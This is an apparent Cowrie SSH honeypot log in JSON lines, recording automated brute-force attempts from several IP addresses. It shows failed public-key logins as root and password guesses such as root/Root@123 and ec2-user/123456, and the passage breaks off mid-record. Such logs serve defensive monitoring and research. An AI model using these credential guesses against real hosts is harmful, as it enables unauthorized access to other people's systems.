{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:b7:c7:67:9e:05:ca:d4:03:3f:9f:a9:e5:2a:9e:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDu2tzFFqnJWygZM/18ShGToZ0ftXILgPh2GJkypVY0aYJ1xOm5L/GnD8EMpFvTDd8evu5nqbPt7Dv57aB1imBMrhG0edQDdBz9HPtn2kmPCdKNGEuA903G5WCJuEyGwRS2+zzRY8AkqkvaZP7V58zaWeKC2fg6QrSWtDjzgzWLbPAGXLbRe5dkp+VJhSXj2sNXFFeE1iyXLmlIVJshS8C8n2S7Wr7Qn5JJeDYRR/V+U0z2HQlxxCBYUeq0GoLfVdR4dkYMYtl4fwUPtyA9FarLd8i+xV0vpNTQhKLZIJnVRL5FPUTzMtGbg89Z5Rs6d7wRzNJL/FWHufmw2CRaek+P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:b7:c7:67:9e:05:ca:d4:03:3f:9f:a9:e5:2a:9e:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:58.005320Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:b7:c7:67:9e:05:ca:d4:03:3f:9f:a9:e5:2a:9e:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDu2tzFFqnJWygZM/18ShGToZ0ftXILgPh2GJkypVY0aYJ1xOm5L/GnD8EMpFvTDd8evu5nqbPt7Dv57aB1imBMrhG0edQDdBz9HPtn2kmPCdKNGEuA903G5WCJuEyGwRS2+zzRY8AkqkvaZP7V58zaWeKC2fg6QrSWtDjzgzWLbPAGXLbRe5dkp+VJhSXj2sNXFFeE1iyXLmlIVJshS8C8n2S7Wr7Qn5JJeDYRR/V+U0z2HQlxxCBYUeq0GoLfVdR4dkYMYtl4fwUPtyA9FarLd8i+xV0vpNTQhKLZIJnVRL5FPUTzMtGbg89Z5Rs6d7wRzNJL/FWHufmw2CRaek+P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:58.009758Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:c4:d5:0c:a2:c0:f0:ed:c9:97:f1:e9:8c:69:be:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3sKtIYo8xvjgbGBTk8lyaXD9vNPxa+a2vnts5uAOz8MEAr24ErJPQp97OL63It+lZzFkWFf/P99D1EudzTcKkObgxAfVaga9rMIrihBetFrVJjieo/aiAyZz0psKOWDF82wRqR/2KWtp/+uVck/chplsPMvQBPuULf1M4yp01MZxkI9ixTYh5o8/Q3yjzmD6n8grG1B9/KdhwTe5HKSIq1PL7TOqPT1L+trSDPSndmi1y+kEGXqD829BDQ1RW8OgIMXxo69Kp1lIIfNlgzScQYj9u98PqRDs/n7jM1v3rc4BOLjvvCWDr3mGReGaor4x6SWpZip8mCeYpEJVLsR86Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:c4:d5:0c:a2:c0:f0:ed:c9:97:f1:e9:8c:69:be:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:58.081231Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:c4:d5:0c:a2:c0:f0:ed:c9:97:f1:e9:8c:69:be:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3sKtIYo8xvjgbGBTk8lyaXD9vNPxa+a2vnts5uAOz8MEAr24ErJPQp97OL63It+lZzFkWFf/P99D1EudzTcKkObgxAfVaga9rMIrihBetFrVJjieo/aiAyZz0psKOWDF82wRqR/2KWtp/+uVck/chplsPMvQBPuULf1M4yp01MZxkI9ixTYh5o8/Q3yjzmD6n8grG1B9/KdhwTe5HKSIq1PL7TOqPT1L+trSDPSndmi1y+kEGXqD829BDQ1RW8OgIMXxo69Kp1lIIfNlgzScQYj9u98PqRDs/n7jM1v3rc4BOLjvvCWDr3mGReGaor4x6SWpZip8mCeYpEJVLsR86Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:58.085332Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:cb:1e:98:b9:5f:6a:f2:24:a9:0f:d2:ea:72:56:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvHNd8fs8DPvsQgMaFsUDhslUvEKzStRR7LqhfDlintGOTnzkr09a6JN0TKdT3ubnhcwFB6k6Vzxf05mrwwnc/f8tceOT4xx5cqeQpxGI9mzPP9QsWZq3Zn5I6E3rXrhswTq8nOX9HsviFZkbKe5UIpYj0a6H2AoOvwIbnX4XeY5IJZ1Q8u+R6axCHQoyPATEIxGYevjzNe4P0adu3e+6cBiqyQvWmgGLNTorw0MlzH30lIwJIPxZxlNnd4hQPvmkYWB6GODeOesR77PJs7VarPC5BK0kYCn3QLeOfAtJMdrregKhqpcpph+UXGPbBZO640K8cmIwxE8yQe85vSIRR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:cb:1e:98:b9:5f:6a:f2:24:a9:0f:d2:ea:72:56:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:58.154653Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:cb:1e:98:b9:5f:6a:f2:24:a9:0f:d2:ea:72:56:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvHNd8fs8DPvsQgMaFsUDhslUvEKzStRR7LqhfDlintGOTnzkr09a6JN0TKdT3ubnhcwFB6k6Vzxf05mrwwnc/f8tceOT4xx5cqeQpxGI9mzPP9QsWZq3Zn5I6E3rXrhswTq8nOX9HsviFZkbKe5UIpYj0a6H2AoOvwIbnX4XeY5IJZ1Q8u+R6axCHQoyPATEIxGYevjzNe4P0adu3e+6cBiqyQvWmgGLNTorw0MlzH30lIwJIPxZxlNnd4hQPvmkYWB6GODeOesR77PJs7VarPC5BK0kYCn3QLeOfAtJMdrregKhqpcpph+UXGPbBZO640K8cmIwxE8yQe85vSIRR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:58.158658Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:ea:51:51:94:b0:6b:1b:ad:41:d2:80:a3:83:5c:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYrEpAsOf7qD/zJJyFRJ6WkxwlI77PFtELX+5GIpRscTX0pHqvSciHKdjpcYwuXBla+J3PUaG8ZpOA6ya09/evuuYw7u2QbkVt9XNs1NieBFhMmHFq1/2NqQovfn7q5WodoAuxyD64AfoZW4Mhj9iYv9F1Qw7gpOUeC+GhEpOPVzb6NyeqL0KkJWWJowWaT0+jU8DrWXsxWtwG/h7nOWv4PNng9o2ePfL/fJFMjdd2z2eFlKCy5ANG5zg0EC1qaxYL9XXsMZTWSDrYIGlhzYrjGHzF4PNE6zxLcdDvbaahu9rRt9NTziuMfMPw0JeVOszn4ciFvSFSmRxV8u8o26c/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:ea:51:51:94:b0:6b:1b:ad:41:d2:80:a3:83:5c:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:58.228902Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:ea:51:51:94:b0:6b:1b:ad:41:d2:80:a3:83:5c:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYrEpAsOf7qD/zJJyFRJ6WkxwlI77PFtELX+5GIpRscTX0pHqvSciHKdjpcYwuXBla+J3PUaG8ZpOA6ya09/evuuYw7u2QbkVt9XNs1NieBFhMmHFq1/2NqQovfn7q5WodoAuxyD64AfoZW4Mhj9iYv9F1Qw7gpOUeC+GhEpOPVzb6NyeqL0KkJWWJowWaT0+jU8DrWXsxWtwG/h7nOWv4PNng9o2ePfL/fJFMjdd2z2eFlKCy5ANG5zg0EC1qaxYL9XXsMZTWSDrYIGlhzYrjGHzF4PNE6zxLcdDvbaahu9rRt9NTziuMfMPw0JeVOszn4ciFvSFSmRxV8u8o26c/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:58.233018Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:58.307425Z","src_ip":"208.87.242.161","session":"7823b66d97fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34240,"dst_ip":"159.203.135.109","dst_port":22,"session":"101797a5d578","protocol":"ssh","message":"New connection: 45.153.34.114:34240 (159.203.135.109:22) [session: 101797a5d578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:59.215992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:59.221049Z","src_ip":"45.153.34.114","session":"101797a5d578","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:59.304233Z","src_ip":"45.153.34.114","session":"101797a5d578","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:57:59.565343Z","src_ip":"45.153.34.114","session":"101797a5d578","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57738,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e6439bfc316","protocol":"ssh","message":"New connection: 103.75.199.4:57738 (159.203.135.109:22) [session: 3e6439bfc316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:00.228648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:00.233575Z","src_ip":"103.75.199.4","session":"3e6439bfc316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:00.328768Z","src_ip":"103.75.199.4","session":"3e6439bfc316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:00.602893Z","src_ip":"103.75.199.4","session":"3e6439bfc316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:00.652239Z","src_ip":"45.153.34.114","session":"101797a5d578","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:01.698009Z","src_ip":"103.75.199.4","session":"3e6439bfc316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44346,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2d7a42dfa2e","protocol":"ssh","message":"New connection: 45.153.34.114:44346 (159.203.135.109:22) [session: f2d7a42dfa2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:07.385669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:07.390819Z","src_ip":"45.153.34.114","session":"f2d7a42dfa2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:07.479457Z","src_ip":"45.153.34.114","session":"f2d7a42dfa2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:07.749619Z","src_ip":"45.153.34.114","session":"f2d7a42dfa2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:08.835455Z","src_ip":"45.153.34.114","session":"f2d7a42dfa2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46018,"dst_ip":"159.203.135.109","dst_port":22,"session":"c064bdd47db4","protocol":"ssh","message":"New connection: 45.153.34.114:46018 (159.203.135.109:22) [session: c064bdd47db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:15.112518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:15.117221Z","src_ip":"45.153.34.114","session":"c064bdd47db4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:15.201052Z","src_ip":"45.153.34.114","session":"c064bdd47db4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:15.454887Z","src_ip":"45.153.34.114","session":"c064bdd47db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:16.551223Z","src_ip":"45.153.34.114","session":"c064bdd47db4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46922,"dst_ip":"159.203.135.109","dst_port":22,"session":"063fd6f2375d","protocol":"ssh","message":"New connection: 103.75.199.4:46922 (159.203.135.109:22) [session: 063fd6f2375d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:22.128413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:22.132515Z","src_ip":"103.75.199.4","session":"063fd6f2375d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:22.223650Z","src_ip":"103.75.199.4","session":"063fd6f2375d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:22.498577Z","src_ip":"103.75.199.4","session":"063fd6f2375d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33184,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3c85cc1688e","protocol":"ssh","message":"New connection: 45.153.34.114:33184 (159.203.135.109:22) [session: f3c85cc1688e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:23.282627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:58:23.287351Z","src_ip":"45.153.34.114","session":"f3c85cc1688e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 